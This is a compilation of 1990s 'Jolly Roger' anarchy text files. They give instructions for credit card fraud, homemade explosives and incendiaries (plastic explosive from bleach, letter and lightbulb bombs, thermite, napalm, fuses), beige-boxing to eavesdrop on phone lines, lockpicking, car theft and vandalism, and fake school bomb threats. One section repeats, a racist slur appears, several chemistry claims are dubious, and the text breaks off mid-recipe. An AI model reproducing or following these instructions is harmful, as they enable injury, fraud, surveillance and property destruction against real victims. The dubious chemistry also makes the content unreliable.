You should now have a reliable credit card number with all the
necessary billing information, and a good drop site.
The best place to order from is catalogues, and mail order houses.
It is in your best interest to place the phone call from a pay
phone, especially if it is a 1-800 number. Now, when you call,
don't try to disguise your voice, thinking you will trick the
salesperson into believing you are an adult. These folks are
trained to detect this, so your best bet is to order in your own
voice. They will ask for the following: name, name as it appears
on card, phone number, billing address, expiration date, method of
shipping, and product. Ask if they offer UPS Red shipping (next
day arrival), because it gives them less time to research an
order. If you are using American Express, you might have a bit of
a problem shipping to an address other than the billing address.
Also, if the salesperson starts to ask questions, do NOT hang up.
Simply talk your way out of the situation, so you won't encourage
investigation on the order.
If everything goes right, you should have the product, free of
charge. Insurance picks up the tab, and no one is any wiser. Be
careful, and try not to order anything over $500. In some states,
UPS requires a signature for anything over $200, not to mention
that anything over $200 is defined as grand theft, as well as
credit fraud. Get caught doing this, and you will bite it for a
couple of years. Good luck!
First compiled in JRII..
-= Exodus =-_
Making Plastic Explosives from Bleach by The Jolly Roger
Potassium chlorate is an extremely volatile explosive compound,
and has been used in the past as the main explosive filler in
grenades, land mines, and mortar rounds by such countries as
France and Germany. Common household bleach contains a small
amount of potassium chlorate, which can be extracted by the
procedure that follows.
First off, you must obtain:
[1] A heat source (hot plate, stove, etc.)
[2] A hydrometer, or battery hydrometer
[3] A large Pyrex, or enameled steel container (to weigh
chemicals)
[4] Potassium chloride (sold as a salt substitute at health and
nutrition stores)
Take one gallon of bleach, place it in the container, and begin
heating it. While this solution heats, weigh out 63 grams of
potassium chloride and add this to the bleach being heated.
Constantly check the solution being heated with the hydrometer,
and boil until you get a reading of 1.3. If using a battery
hydrometer, boil until you read a FULL charge.
Take the solution and allow it to cool in a refrigerator until it
is between room temperature and 0 degrees Celcius. Filter out the
crystals that have formed and save them. Boil this solution again
and cool as before. Filter and save the crystals.
Take the crystals that have been saved, and mix them with
distilled water in the following proportions: 56 grams per 100
milliliters distilled water. Heat this solution until it boils
and allow to cool. Filter the solution and save the crystals that
form upon cooling. This process of purification is called
"fractional crystalization". These crystals should be relatively
pure potassium chlorate.
Powder these to the consistency of face powder, and heat gently to
drive off all moisture.
Now, melt five parts Vaseline with five parts wax. Dissolve this
in white gasoline (camp stove gasoline), and pour this liquid on
90 parts potassium chlorate (the powdered crystals from above)
into a plastic bowl. Knead this liquid into the potassium
chlorate until intimately mixed. Allow all gasoline to evaporate.
Finally, place this explosive into a cool, dry place. Avoid
friction, sulfur, sulfides, and phosphorous compounds. This
explosive is best molded to the desired shape and density of 1.3
grams in a cube and dipped in wax until water proof. These block
type charges guarantee the highest detonation velocity. Also, a
blasting cap of at least a 3 grade must be used.
The presence of the afore mentioned compounds (sulfur, sulfides,
etc.) results in mixtures that are or can become highly sensitive
and will possibly decompose explosively while in storage. You
should never store homemade explosives, and you must use EXTREME
caution at all times while performing the processes in this
article.
You may obtain a catalog of other subject of this nature by
writing:
Information Publishing Co.
Box 10042
Odessa, Texas 79762
-= Exodus =-
'94_
Picking Master Locks by The Jolly Roger
Have you ever tried to impress someone by picking one of those
Master combination locks and failed?
The Master lock company made their older combination locks with a
protection scheme. If you pull the handle too hard, the knob will
not turn. That was their biggest mistake.
The first number:
Get out any of the Master locks so you know what is going on.
While pulling on the clasp (part that springs open when you get
the combination right), turn the knob to the left until it will
not move any more, and add five to the number you reach. You now
have the first number of the combination.
The second number:
Spin the dial around a couple of times, then go to the first
number you got. Turn the dial to the right, bypassing the first
number once. When you have bypassed the first number, start
pulling on the clasp and turning the knob. The knob will
eventually fall into the groove and lock. While in the groove,
pull the clasp and turn the knob. If the knob is loose, go to the
next groove, if the knob is stiff, you have the second number of
the combination.
The third number:
After getting the second number, spin the dial, then enter the two
numbers. Slowly spin the dial to the right, and at each number,
pull on the clasp. The lock will eventually open if you did the
process right.
This method of opening Master locks only works on older models.
Someone informed Master of their mistake, and they employed a new
mechanism that is foolproof (for now).
The older models are from 1988-1990. The newer models are being
cracked on as we speak..
-= Exodus =-
'94
_
Picking Master Locks by The Jolly Roger
Have you ever tried to impress someone by picking one of those
Master combination locks and failed?
The Master lock company made their older combination locks with a
protection scheme. If you pull the handle too hard, the knob will
not turn. That was their biggest mistake.
The first number:
Get out any of the Master locks so you know what is going on.
While pulling on the clasp (part that springs open when you get
the combination right), turn the knob to the left until it will
not move any more, and add five to the number you reach. You now
have the first number of the combination.
The second number:
Spin the dial around a couple of times, then go to the first
number you got. Turn the dial to the right, bypassing the first
number once. When you have bypassed the first number, start
pulling on the clasp and turning the knob. The knob will
eventually fall into the groove and lock. While in the groove,
pull the clasp and turn the knob. If the knob is loose, go to the
next groove, if the knob is stiff, you have the second number of
the combination.
The third number:
After getting the second number, spin the dial, then enter the two
numbers. Slowly spin the dial to the right, and at each number,
pull on the clasp. The lock will eventually open if you did the
process right.
This method of opening Master locks only works on older models.
Someone informed Master of their mistake, and they employed a new
mechanism that is foolproof (for now).
The older models are from 1988-1990. The newer models are being
cracked on as we speak..
-= Exodus =-
'94
_
The Arts of Lockpicking II courtesy of The Jolly Roger
So you want to be a criminal. Well, if you want to be like James
Bond and open a lock in fifteen seconds, then go to Hollywood,
because that is the only place you are ever going to do it. Even
experienced locksmiths can spend five to ten minutes on a lock if
they are unlucky. If you are wanting extremely quick access, look
elsewhere. The following instructions will pertain mostly to the
"lock in knob" type lock, since it is the easiest to pick.
First of all, you need a pick set. If you know a locksmith, get
him to make you a set. This will be the best possible set for you
to use. If you find a locksmith unwilling to supply a set, don't
give up hope. It is possible to make your own, if you have access
to a grinder (you can use a file, but it takes forever).
The thing you need is an allen wrench set (very small). These
should be small enough to fit into the keyhole slot. Now, bend
the long end of the allen wrench at a slight angle (not 90
degrees). Now, take your pick to a grinder or a file, and smooth
the end until it is rounded so it won't hang inside the lock.
Test your tool out on doorknobs at your house to see if it will
slide in and out smoothly. Now, this is where the screwdriver
comes in. It must be small enough for it and your pick to be used
in the same lock at the same time, one above the other. In the
coming instructions, please refer to this chart of the interior of
a lock:
______________________________
\ K
| | | | | | / E
| | | | \ Y [|] Upper tumbler pin
^ ^ / H [^] Lower tumbler pin
^ ^ ^ ^ ^ ^ \ O [-] Cylinder wall
/ L (This is a greatly simplified
\ E drawing)
______________________________/
The object is to press the pin up so that the space between the
upper pin and the lower pin is level with the cylinder wall. Now,
if you push a pin up, it's tendency is to fall back down, right?
That is where the screwdriver comes in. Insert the screwdriver
into the slot and turn. This tension will keep the "solved" pins
from falling back down. Now, work from the back of the lock to
the front, and when you are through, there will be a click, the
screwdriver will turn freely, and the door will open.
Do not get discouraged on your first try! It will probably take
you about twenty to thirty minutes your first time. After that,
you will quickly improve with practice.
Add to TACIV, '94.
-= Exodus =-_
Solidox Bombs by The Jolly Roger
Most people are not aware that a volatile, extremely explosive
chemical can be bought over the counter: Solidox.
Solidox comes in an aluminum can containing 6 grey sticks, and can
be bought at Kmart, and various hardware supply shops for around
$7.00. Solidox is used in welding applications as an oxidizing
agent for the hot flame needed to melt metal. The most active
ingredient in Solidox is potassium chlorate, a filler used in many
military applications in the WWII era.
Since Solidox is literally what the name says: SOLID OXygen, you
must have an energy source for an explosion. The most common and
readily available energy source is common household sugar, or
sucrose. In theory, glucose would be the purest energy source,
but it is hard to find a solid supply of glucose.
Making the mixture:
[1] Open the can of Solidox, and remove all 6 sticks. One by
one, grind up each of the sticks (preferably with a mortar
and pestle) into the finest powder possible.
[2] The ratio for mixing the sugar with the Solidox is 1:1, so
weigh the Solidox powder, and grind up the equivalent amount
of sugar.
[3] Mix equivalent amounts of Solidox powder, and sugar in a 1:1
ratio.
It is just that simple! You now have an extremely powerful
substance that can be used in a variety of applications. A word
of caution: be EXTREMELY careful in the entire process. Avoid
friction, heat, and flame. A few years back, a teenager I knew
blew 4 fingers off while trying to make a pipe bomb with Solidox.
You have been warned!
SolidOx can no longer be bought in KMart. A plumbing and heating supply
store, or even Sears may have small quantities for sale, at about
$18.00 for 10 stix.
---Exodus
_
High Tech Revenge: The Beigebox rev. 4.14 by -= Exodus =-
-------------Introduction-------------
Have you ever wanted a lineman's handset? Surely every phreak has at
least once considered the phun that he could have with one. After searching
unlocked phone company trucks for months, we had an idea. We could build
one. We did, and named it the "Beige Box" simply because that is the color
of ours.
The beigebox is simply a consumer lineman's handset, which is a
phone that can be attached to the outside of a person's house. To
fabricate a beigebox, follow along.
---------Construction and Use---------
The construction is very simple. First you must understand the concept of
the device. In a modular jack, there are four wires. These are red, green,
yellow, and black. For a single line telephone, however, only two matter:
the red (ring) and green (tip). The yellow and the black are not neccessary
for this project. A lineman's handset has two clips on it: the ring and
the tip. Take a modular jack and look at the bottom of it's casing. There
should be a grey jack with four wires (red, green, yellow & black)
leading out of it. To the end of the red wire attach a red aligator clip.
To the end of the green wire attatch a green aligator clip. The yellow
and black wires can be removed, although I would only set them aside so
that you can use the modular jack in future projects. Now insert your
telephone's modular plug into the modular jack. That's it. This particular
model is nice because it is can be easily made, is inexpensive, uses
common parts that are readily available, is small, is lightweight,
and does not require the destruction of a phone.
------------Beige Box Uses------------
There are many uses for a Beige Box. However, before you can use it,
you must know how to attach it to the output device. This device can be
of any of Bell switching apparatus that include germinal sets (i.e.
remote switching centers, bridgin heads, cans, etc.). To open most Bell
Telephone switching apparatus, you must have a 7/16 inch hex driver
(or a good pair of needle nose pliers work also).
This piece of equipment can be picked up at your local hardware store.
With your hex driver (or pliers), turn the security bolt(s) approximately
1/8 of an inch counter-clockwise and open. If your output device is locked,
then you must have some knowledge of destroying and/or picking locks.
However, we have never encountered a locked output device. Once you have
opened your output device, you should see a mass of wires connected to
terminals. On most output devices, the terminals should be labeled "T"
(Tip -- if not labeled, it is usually on the left) and "R" (Ring -- if
not labeled, usually on the right).
Remember: Ring - red - right. The "Three R's" -- a simple way to
remember which is which. Now you must attach all the red alligator clip
(Ring) to the "R" (Ring) terminal.
Attach the green alligator clip (Tip) to the "T" (Tip) terminal.
Note: If instead of a dial tone you hear nothing, adjust the alligator
clips so that they are not touching each other terminals. Also make sure
they are firmly attached. By this time you should hear a dial tone.
Dial ANI to find out the number you are using (you wouldn't want to use
your own). Here are some practicle aplications:
> Eavesdropping
> Long distance, static free free fone calls to phriends
> Dialing direct to Alliance Teleconferencing (also no static)
> Phucking people over
> Bothering the operator at little risk to yourself
> Blue Boxing with greatly reduced chance of getting caught
> Anything at all you want, since you are on an extension of that line.
Eavesdropping
-------------
To be most effective, first attach the Beige Box then your phone. This
eliminates the static caused by connecting the box, therefore
reducing the potential suspicion of your victim. When eavesdropping,
it is allways best to be neither seen nor heard. If you hear someone
dialing out, do not panic; but rather hang up, wait, and pick up the
receiver again. The person will either have hung up or tried to complete
their call again. If the latter is true, then listen in, and perhaps you
will find information worthy of blackmail! If you would like to know who
you are listening to, after dialing ANI, pull a CN/A on the number.
Dialing Long Distance
---------------------
This section is self explanitory, but don't forget to dial a "1" before
the NPA.
Dialing Direct to Aliance Teleconferencing
------------------------------------------
Simply dial 0-700-456-1000 and you will get instructions from there.
I prefer this method over PBX's, since PBX's often have poor reception
and are more dificult to come by.
Phucking People Over
--------------------
This is a very large topic of discussion. Just by using the other topics
described, you can create a large phone bill for the person (they will
not have to pay for it, but it will be a big hassle for them). In addition,
since you are an extension of the person's line, you can leave your
phone off the hook, and they will not be able to make or receive calls.
This can be extremely nasty because no one would expect the cause
of the problem.
Bothering the Operator
----------------------
This is also self explanitary and can provide hours of entertainment.
Simply ask her things that are offensive or you would not like traced
to your line. This also corresponds to the previously described section,
Phucking People Over. After all, guess who's line it gets traced to?
He he he...
Blue Boxing
-----------
See a file on Blue Boxing for more details. This is an especially nice
feature if you live in an ESS-equiped prefix, since the calls are, once
again, not traced to your line...
---POTENTIAL RISKS OF BEIGE BOXING----
Overuse of the Beige Box may cause suspicians within the Gestapo,
and result in legal problems. Therefor, I would recomend you:
> Choose a secluded spot to do your Beige Boxing,
> Use more than one output device
> Keep a low profile (i.e., do not post under your real
name on a public BBS concering your occomplishments)
> In order to make sure the enemy has not been inside your output
device, I recomend you place a piece of transparent tape over
the opening of your output device. Therefor, if it is
opened in your abscence, the tapqe will be displaced and
you will be aware of the fact that someone has intruded
on your teritory.
Now, imagine the possibilities: a $2000 dollar phone bill for
that special person, 976 numbers galore, even harassing the
operator at no risk to you! Think of it as walking into an
enemies house, and using their phone to your heart's content.
Exodus
_
How to make a CO2 bomb by the Jolly Roger
You will have to use up the cartridge first by either shooting it
or whatever. With a nail, force a hole bigger so as to allow the
powder and wick to fit in easily. Fill the cartridge with black
powder and pack it in there real good by tapping the bottom of the
cartridge on a hard surface (I said TAP not SLAM!). Insert a fuse.
I recommend a good water-proof cannon fuse, or an m-80 type fuse,
but firecracker fuses work, if you can run like a black man runs
from the cops after raping a white girl.) Now, light it and run
like hell! It does wonders for a row of mailboxes (like the ones
in apartment complexes), a car (place under the gas tank), a
picture window (place on window sill), a phone booth (place right
under the phone), or any other devious place. This thing throws
shrapnel, and can make quit a mess!! -Jolly Roger-
Thermite II... or A better way to make Thermite by Jolly Roger
Thermite is nasty shit. Here is a good and easy way to make it.
The first step is to get some iron-oxide (which is RUST!). Here is
a good way to make large quantities in a short time:
- Get a DC convertor like the one used on a train set. Cut the
connector off, seperate the wires, and strip them both.
- Now you need a jar of water with a tablespoon or so of sodium
chloride (which is SALT!) added to it. This makes the water
conductive.
- Now insert both wires into the mixture (I am assuming you
plugged the convertor in...) and let them sit for five minutes.
One of them will start bubbling more than the other. This is the
POSITIVE(+) wire. If you do not do this test right, the final
product will be the opposite (chemically) of rust, which is RUST
ACID. You have no use for this here (although it IS useful!).
- Anyway, put the nail tied to the positive wire into the jar. Now
put the negative wire in the other end. Now let it sit overnight
and in the morning scrape the rust off of the nail & repeat until
you got a bunch of rust on the bottom of the glass. Be generous
with your rust collection. If you are going through the trouble of
making thermite, you might as well make a lot, right?
- Now remove the excess water and pour the crusty solution onto a
cookie sheet. Dry it in the sun for a few hours, or inside
overnight. It should be an orange-brown color (although I have
seen it in many different colors! Sometimes the color gets fucked
up, what can I say... but it is still iron oxide!)
- Crush the rust into a fine powder and heat it in a cast-iron pot
until it is red. Now mix the pure iron oxide with pure alluminum
filinos which can be bought or filed down by hand from an aluminum
tube or bar. The ratio or iron oxide to aluminum is 8 grams to 3
grams.
- Congrats! You have just made THERMITE! Now, to light it...
- Thermite requires a LOT of heat (more than a blow torch!) to
ignite. However, a magnesium ribbon (which is sorta hard to find..
call around) will do the trick. It takes the heat from the
burning magnesium to light the thermite.
- Now when you see your victim's car, pour a fifty-cent sized pile
onto his hood, stick the ribbon in it, and light the ribbon with
the blow torch. Now chuckle as you watch it burn through the hood,
the block, the axle, and the pavement. BE CAREFUL! The ideal
mixtures can vaporize CARBON STEEL! Another idea is to use
thermite to get into pay phone cash boxes. HAVE FUN!!
See file 195.DOC for Thermite III, the BEST way to make Thermite..
-= Exodus =-
_
Touch Explosives by the Jolly Roger
This is sort of a mild explosive, but it can be quite dangerous in
large quantities. To make touch explosive (such as that found in a
snap-n-pop, but more powerful), use this recipe:
- Mix iodine crystals into ammonia until the iodine crystals will
not dissolve into the ammonia anymore. Pour off the excess ammonia
and dry out the crystals on a baking sheet the same way as you
dried the thermite (in other words, just let it sit overnight!).
- Be careful now because these crystals are now your touch
explosive. Carefully wrap a bunch in paper (I mean carefully!
Friction sets 'em off!) and throw them around.. pretty loud, huh?
They are fun to put on someone's chair. Add a small fish sinker to
them and they can be thrown a long distance (good for crowds,
football games, concerts, etc.) Have fun! -Jolly Roger-
Letter Bombs by The Jolly Roger
- You will first have to make a mild version of thermite. Use my
recipe, but substitute iron fillings for rust.
- Mix the iron with aluminum fillings in a ratio of 75% aluminum
to 25% iron. This mixture will burn violently in a closed space
(such as an envelope). This bring us to our next ingredient...
- Go to the post office and buy an insulated (padded) envelope.
You know, the type that is double layered... Seperate the layers
and place the mild thermite in the main section, where the letter
would go. Then place magnesium powder in the outer layer. There is
your bomb!!
- Now to light it... this is the tricky part and hard to explain.
Just keep experimenting until you get something that works. The
fuse is just that touch explosive I have told you about in another
one of my anarchy files. You might want to wrap it like a long
cigarette and then place it at the top of the envelope in the
outer layer (on top of the powdered magnesium). When the touch
explosive is torn or even squeezed hard it will ignite the
powdered magnesium (sort of a flash light) and then it will burn
the mild thermite. If the thermite didn't blow up, it would at
least burn the fuck out of your enemy (it does wonders on human
flesh!).
NOW that is REVENGE! -Jolly Roger-
Paint Bombs by The Jolly Roger
To make a pain bomb you simply need a metal pain can with a
refastenable lid, a nice bright color paint (green, pink, purple,
or some gross color is perfect!), and a quantity of dry ice. Place
the paint in the can and then drop the dry ice in. Quicky place
the top on and then run like hell! With some testing you can time
this to a science. It depends on the ratio of dry ice to paint to
the size of the can to how full it is. If you are really pissed
off at someone, you could place it on their doorstep, knock on the
door, and then run!! Paint will fly all over the place HAHAHA!!
-Jolly Roger-
Ways to send a car to Hell by The Jolly Roger
There are 1001 ways to destroy a car but I am going to cover only
the ones that are the most fun (for you), the most destructive
(for them), and the hardest to trace (for the cops).
- Place thermite on the hood, light it, and watch it burn all the
way through the pavement!
- Tape a CO2 bomb to the hood, axel, gas tank, wheel, muffler,
etc.)
- Put a tampon, dirt, sugar (this one is good!), a ping pong ball,
or just about anything that will dissolve in the gas tank.
Plastic deforms and dilutes into gas. The final result is much
harder to inject into the engine, possibly causing valve replacement.
- Put potatoes, rocks, banannas, or anything that will fit, into
the tailpipe. Use a broom handle to stuff 'em up into the
tailpipe.
- Put a long rag into the gas tank and light it...
- Steal a key, copy it, replace it, and then steal the stereo.
- Break into the car. Cut a thin metal ruler into a shape like
this:
ÚÄÄ¿ (Revised ill. 4.14)
³ ³
³ ³
³ ³
³ ³
³ ÚÙ
³ À¿
ÀÄÄÙ
Slide it into the outside window and keep pulling it back up until
you catch the lock cable which should unlock the door. This device
is also called a SLIM JIM. Now get the stereo, equalizer, radar
detector, etc. Now destroy the inside. (A sharp knife does wonders
on the seats!)
Have Fun! -= Exodus =-
Do ya hate school? by The Jolly Roger
- One of my favorites for getting out of a class or two is to call
in a bomb threat. Tell 'em that it is in a locker. Then they have
to check them all, whilst you can slip away for an hour or two.
You can even place a fake bomb (in any locker but YOURS!). They
might cancel school for a week while they investigate (of course,
you will probably have to make it up in the summer...).
- Get some pure potassium or pure sodium, put it in a capsule, and
flush it down the toilet (smells awful! Stinks up the whole school!).
- Use a smoke grenade in the hallway.
- Steal the computer passwords & keys. Or steal the 80 column cards
inside if they are (gag) IBM.
- Make friends with student assistants and have them change your
grades when the teachers hand in their bubble sheets for the report
cards.
- Spit your gum out on the carpet in the library or whatever and
grind it into the carpet. Watch the janitors cry!
- Draw on lockers or spraypaint on the building that the principal
is a fascist.
- Stick a potato in the tailpipe of the principal's car.
-Get a virus from The Black Gate BBS, and infect their computers!
Most likely they use WordPerfect, Excel, and shit like that.
- USE YOUR IMAGINATION! -= Exodus =-
Phone related vandalism by the Jolly Roger
If you live where there are underground lines then you will be
able to ruin someone's phone life very easily. All you must do is
go to their house and find the green junction box that interfaces
their line (and possibly some others in the neighborhood) with the
major lines. These can be found just about anywhere but they are
usually underneath the nearest phone pole. Take a socket wrench
and loosen the nut on the right. Then just take clippers or a
sledge hammer or a bomb and destroy the insides and pull up their
phone cable. Now cut it into segments so it can't be fixed but
must be replaced (There is a week's worth of work for 'em!!)
Another place to phuck with lines is in new developments. When
houses/apartments/condos are still in the plywood and dirt stage,
the lines are run into junxion boxes. When the crew goes home for
the day, plan your attack. Just destroy the shit out of the box,
then replace the cover. Watch em' go nuts as they try to figure
out where the line broke in the walls !
-= Exodus =-
Highway radar jamming by The Jolly Roger
Most drivers wanting to make better time on the open road will
invest in one of those expensive radar detectors. However, this
device will not work against a gun type radar unit in which the
radar signal is not present until the cop has your car in his
sights and pulls the trigger. Then it is TOO LATE for you to slow
down. A better method is to continuously jam any signal with a
radar signal of your own. I have tested this idea with the
cooperation of a local cop and found that his unit reads random
numbers when my car approached him. It is suprisingly easy to make
a low power radar transmitter. A nifty little semiconductor called
a Gunn Diode will generate microwaves when supplied with the 5 to
10 volt DC and enclosed in the correct size cavity (resonater). An
8 to 3 terminal regulator can be used to get this voltage from a
car's 12v system. However, the correct construction and tuning of
the cavity is difficult without good microwave measurement
equipment. Police radars commonly operate on the K band at 22 ghz.
Or more often on the X band at 10.525 ghz. most microwave intruder
alarms and motion detectors (mounted over automatic doors in
supermarkets & banks, etc.) contain a Gunn type
transmitter/receiver combination that transmits about 10 kilowatts
at 10.525 ghz. These units work perfectly as jammers. If you
cannot get one locally, write to Microwave Associates in
Burlington, Massachusettes and ask them for info on 'Gunnplexers'
for ham radio use. When you get the unit it may be mounted in a
plastic box on the dash or in a weather-proff enclosure behind the
PLASTIC grille. Switch on the power when on an open highway. The
unit will not jam radar to the side or behind the car so don't go
speeding past the radar trap. An interesting phenomena you will
notice is that the drivers who are in front of you who are using
detectors will hit their brakes as you approach large metal signs
and bridges. Your signal is bouncing off of these objects and
triggering their radar detectors! HAVE FUN!
-Jolly Roger-
P.S. If you are interested in this sort of thing, get a copy of
POPULAR COMMUNICATIONS. The ads in there tell you where you can
get all kinds of info on all kinds of neat equipment for all kinds
of neat things!
-= Exodus =- '94
Smoke Bombs by the Jolly Roger
Here is the recipe for one helluva smoke bomb!
4 parts sugar
6 parts potassium nitrate (Salt Peter)
Heat this mixture over a LOW flame until it melts, stirring well.
Pour it into a future container and, before it solidifies, imbed a
few matches into the mixture to use as fuses. One pound of this
stuff will fill up a whole block with thick, white smoke!
-= Exodus =-
Mail Box Bombs by the Jolly Roger
(1) Two litre bottle of chlorine (must contain sodium hypochlorate)
Small amount of sugar
Small amount of water
Mix all three of these in equal amounts to fill about 1/10 of the
bottle. Screw on the lid and place in a mailbox. It's hard to
believe that such a small explosion will literally rip the mailbox
in half and send it 20 feet into the air! Be careful doing this,
though, because if you are caught, it is not up to the person
whose mailbox you blew up to press charges. It is up to the city.
- Exodus -
_
The easiest way to hotwire cars by the Jolly Roger
Get in the car. Look under the dash. If it enclosed, forget it
unless you want to cut through it. If you do, do it near the
ignition. Once you get behind or near the ignition look for two
red wires. In older cars red was the standard color, if not, look
for two matched pairs. When you find them, cross them and take
off!
-Exodus-
_
How to make Napalm by the Jolly Roger
- Pour some gas into an old bowl, or some kind of container.
- Get some styrofoam and put it in the gas, until the gas won't
eat anymore. You should have a sticky syrup.
- Put it on the end of something (don't touch it!!). The unused
stuff lasts a long time!
-Exodus-
_
How to make a fertilizer bomb by Jolly Roger
Ingredients:
- Newspaper
- Fertilizer (the chemical kind, GREEN THUMB or ORCHO)
- Cotton
- Diesel fuel
Make a pouch out of the newspaper and put some fertilizer in it.
Then put cotton on top. Soak the cotton with fuel. Then light and
run like you have never ran before! This blows up 500 square feet
so don't do it in an alley!! -Exodus-
_
Tennis Ball Bombs by The Jolly Roger
Ingredients:
- Strike anywhere matches
- A tennis ball
- A nice sharp knife
- Duct tape
Break a ton of matchheads off. Then cut a SMALL hole in the tennis
ball. Stuff all of the matchheads into the ball, until you can't
fit any more in. Then tape over it with duct tape. Make sure it is
real nice and tight! Then, when you see a geek walking down the
street, give it a good throw. He will have a blast!!
- Exodus -
_
Diskette Bombs by the Jolly Roger
You need:
- A disk
- Scissors
- White or blue kitchen matches (they MUST be these colors!)
- Clear nail polish
- Carefully open up the diskette (3.5" disks are best for this!)
- Remove the cotton covering from the inside.
- Scrape a lot of match powder into a bowl (use a wooden scraper,
metal might spark the matchpowder!)
- After you have a lot, spread it evenly on the disk.
- Using the nail polish, spread it over the match mixture
- Let it dry
- Carefully put the diskette back together and use the nail polish
to seal it shut on the inside (where it came apart).
- When that disk is in a drive, the drive head attempts to read
the disk, which causes a small fire (ENOUGH HEAT TO MELT THE DISK
DRIVE AND FUCK THE HEAD UP!!). ahahahahaha! Let the fuckhead try
and fix THAT!!!
-= Exodus =-
_
Unlisted Phone Numbers by The Jolly Roger
There are a couple of different ways of doing this. Let's see if
this one will help: Every city has one or more offices dedicated
to assigning numbers to the telephone wire pairs. These offices
are called DPAC offices and are available to service reps who are
installing or repairing phones. To get the DPAC number, a service
rep would call the customer service number for billing information
in the town that the number is located in that he is trying to get
the unlisted number of. (Got that?) The conversation would go
something like this: "Hi, Amarillo, this is Joe from Anytown
business office, I need the DPAC number for the south side of
town." This info is usually passed out with no problems, so... if
the first person you call doesn't have it, try another. REMEMBER,
no one has ANY IDEA who the hell you are when you are talking on
the phone, so you can be anyone you damn well please! (heheheheh!)
When you call the DPAC number, just tell them that you need a
listing for either the address that you have, or the name. DPAC
DOES NOT SHOW WHETHER THE NUMBER IS LISTED OR UNLISTED!! Also, if
you're going to make a habit of chasing numbers down, you might
want to check into geting a criss-cross directory, which lists
phone numbers by their addresses. It costs a couple-a-hundred bux,
but it is well worth it if you have to chase more than one or two
numbers down!
-= Exodus =-
_
Fuses by The Jolly Roger
You would be surprised how many files are out there that use what
falls under the category of a "fuse." They assume that you just
have a few lying around, or know where to get them. Well, in some
parts of the country, fuses are extremely hard to come by... so
this file tells you how to make your own. Both fuses presented
here are fairly simple to make, and are fairly reliable.
SLOW BURNING FUSE
~~~~~~~~~~~~~~~~~ (approx. 2 inches per minute)
Materials needed:
- Cotton string or 3 shoelaces
- Potassium Nitrate or Potassium Chlorate
- Granulated sugar
Procedure:
- Wash the cotton string or showlaces in HOT soapy water, then
rinse with fresh water
- Mix the following together in a glass bowl:
1 part potassium nitrate or potassium chlorate
1 part granulated sugar
2 parts hot water
- Soak strings or shoelaces in this solution
- Twist/braid 3 strands together and allow them to dry
- Check the burn rate to see how long it actually takes!!
FAST BURNING FUSE
~~~~~~~~~~~~~~~~~ (40 inches per minute)
Materials needed:
-Soft cotton string
-fine black powder (empty a few shotgun shells!)
-shallow dish or pan
Procedure:
- moisten powder to form a paste
- twist/braid 3 strands of cotton together
- rub paste into string and allow to dry
- Check the burn rate!!!
Compiled by -= Exodus =-_
How to make Potassium Nitrate by The Jolly Roger
Potassium Nitrate is an ingredient in making fuses, among other
things. Here is how you make it:
Materials needed:
-3.5 gallons of nitrate bearing earth or other material
-1/2 cup of wood ashes
-Bucket or other similar container about 4-5 gallons in volume
-2 pieces of finely woven cloth, each a bit bigger than the
bottom of the bucket
-Shallow dish or pan at least as large in diameter as the bucket
-Shallow, heat resistant container
-2 gallons of water
-Something to punch holes in the bottom of the bucket
-1 gallon of any type of alcohol
-A heat source
-Paper & tape
Procedure:
- Punch holes on the inside bottom of the bucket, so that the
metal is"puckered" outward from the bottom
- Spread cloth over the holes from the bottom
- Place wood ashes on the cloth. Spread it out so that it covers
the entire cloth and has about the same thickness.
- Place 2nd cloth on top of the wood ashes
- Place the dirt or other material in the bucket
- Place the bucket over the shallow container. NOTE: It may need
support on the bottom so that the holes on the bottom are not
blocked.
- Boil water and pour it over the earth very slowly. Do NOT pour
it all at once, as this will clog the filter on the bottom.
- Allow water to run through holes into the shallow dish on the
bottom.
- Be sure that the water goes through ALL of the earth!
- Allow water in dish to cool for an hour or so
- Carefully drain the liquid in the dish away, and discard the
sludge in the bottom
- Boil this liquid over a fire for at least two hours. Small
grains of salt will form - scoop these out with the paper as they
form
- When the liquid has boiled down to 1/2 its original volume let
it sit
- After 1/2 hour, add equal volume of the alcohol; when this
mixture is poured through paper, small white crystals appear. This
is the posassium nitrate.
Purification:
- Redissolve crystals in small amount of boiling water
- Remove any crystals that appear
- Pour through improvised filter then heat concentrated solution
to dryness.
- Spread out crystals and allow to dry
Compiled by -= Exodus =-_
--LIGHTBULB BOMBS 2 4.14 -= Exodus =-
An automatic reaction to walking into a dark room is to turn on the
light. This can be fatal, if a lightbulb bomb has been placed in the overhead
light socket. A lightbulb bomb is surprisingly easy to make. It also comes
with its own initiator and electric ignition system. On some lightbulbs, the
lightbulb glass can be removed from the metal base by heating the base of a
lightbulb in a gas flame, such as that of a blowtorch or gas stove. This must
be done carefully, since the inside of a lightbulb is a vacuum. When the glue
gets hot enough, the glass bulb can be pulled off the metal base. On other
bulbs, it is necessary to heat the glass directly with a blowtorch or
oxy-acetylene torch. In either case, once the bulb and/or base has cooled down
to room temperature or lower, the bulb can be filled with an explosive
material, such as black powder. If the glass was removed from the metal base,
it must be glued back on to the base with epoxy. If a hole was put in the
bulb, a piece of duct tape is sufficient to hold the explosive in the in the
bulb. Then, after making sure that the socket has no power by checking with a
working lightbulb, all that need be done is to screw the lightbulb bomb into
the socket. Such a device has been used by terrorists or assassins with much
success, since few people would search the room for a bomb without first
turning on the light.
_
Under water igniters by The Jolly Roger
Materials needed:
-Pack of 10 silicon diodes (available at Radio Shack. you will
know you got the right ones if they are very, very small glass
objects!)
-Pack of matches
-1 candle
Procedure:
- Light the candle and allow a pool of molten wax to form in the
top.
- Take a single match and hold the glass part of a single diode
against the head. Bend the diode pins around the matchhead so that
one wraps in an upward direction and thensticks out to the side.
Do the same with the other wire, but in a downward direction. The
diodes should now be hugging the matchhead, but its wires MUST NOT
TOUCH EACH OTHER!
- Dip the matchhead in wax to give it a water-proof coat. These
work underwater
- repeat to make as many as you want
How to use them:
When these little dudes are hooked across a 6v battery, the diode
reaches what is called breakdown voltage. When most electrical
components reach this voltage, they usually produce great amounts
of heat and light, while quickly melting into a little blob. This
heat is enough to ignite a matchhead. These are recommended for
use underwater, where most other igniters refuse to work. ENJOY!
-Exodus-
_
Home-brew blast cannon by The Jolly Roger
Materials needed:
-1 plastic drain pipe, 3 feet long, at least 3 1/2 inches in
diameter
-1 smaller plastic pipe, about 6 inches long, 2 inches in
diameter
-1 large lighter, with fluid refills (this gobbles it up!)
-1 pipe cap to fit the large pipe, 1 pipe cap to fit the small
pipe
-5 feet of bellwire
-1 SPST rocker switch
-16v polaroid pot-a-pulse battery
-15v relay (get this at Radio Shack)
-Electrical Tape
-One free afternoon
Procedure:
